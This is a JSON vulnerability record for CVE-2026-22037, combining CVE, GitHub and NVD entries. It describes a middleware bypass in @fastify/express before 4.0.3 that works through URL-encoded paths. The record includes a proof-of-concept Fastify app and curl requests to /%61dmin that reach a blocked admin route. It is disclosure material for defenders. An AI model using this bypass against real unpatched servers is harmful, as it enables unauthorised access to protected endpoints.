{"id":"CVE-2026-22037","aliases":["CVE-2026-22037","GHSA-g6q3-96cp-5r5m"],"related":[],"kind":"vulnerability","state":"published","title":"@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)","summary":"The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register fastify-express for Express-style middleware support\n  await fastify.register(require('@fastify/express'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  fastify.get('/admin/dashboard', async (request, reply) => {\n    return { message: 'Admin dashboard' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3000 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /%61dmin</pre>\n</body>\n</html>\n\n(fastify express)\n\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.","format":"markdown","source":"ghsa"},{"lang":"es","text":"El plugin @fastify/express añade compatibilidad completa con Express a Fastify. Existe una vulnerabilidad de seguridad en @fastify/express anterior a la versión 4.0.3 donde el middleware registrado con un prefijo de ruta específico puede ser eludido utilizando caracteres codificados en URL (p. ej., '/%61dmin' en lugar de '/admin'). Mientras que el motor de middleware no logra coincidir con la ruta codificada y omite la ejecución, el router subyacente de Fastify decodifica correctamente la ruta y coincide con el manejador de ruta, permitiendo a los atacantes acceder a puntos finales protegidos sin las restricciones del middleware. La vulnerabilidad es causada por cómo @fastify/express compara las solicitudes con las rutas de middleware registradas. Esta vulnerabilidad es similar a, pero difiere de, CVE-2026-22031 porque este es un módulo npm diferente con su propio código. La versión 4.0.3 de @fastify/express contiene un parche para el problema.","source":"nvd"}],"published":"2026-01-19T16:48:10.994Z","modified":"2026-06-17T10:19:24.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"}],"cwes":["CWE-177","CWE-288"],"affected":[{"ranges":[{"version":"< 4.0.3","status":"affected"}],"vendor":"fastify","product":"fastify-express","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.0.3"}],"ecosystem":"npm","package":"@fastify/express","purl":"pkg:npm/%40fastify/express","source":"ghsa"}],"references":[{"url":"https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22037","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/fastify/fastify-express","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.3","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-01-20T21:34:36.586Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22037","url":"https://www.cve.org/CVERecord?id=CVE-2026-22037","licence":"CVE Terms of Use","modified":"2026-01-20T21:34:44.100Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g6q3-96cp-5r5m","url":"https://github.com/advisories/GHSA-g6q3-96cp-5r5m","licence":"CC-BY-4.0","modified":"2026-02-03T03:03:59.297Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22037","licence":"Public domain","modified":"2026-06-17T10:19:24.147Z"}],"updatedAt":"2026-11-25T22:59:12.935Z","epss":{"score":0.00349,"percentile":0.30554,"date":"2026-12-01T12:00:22.000Z"}}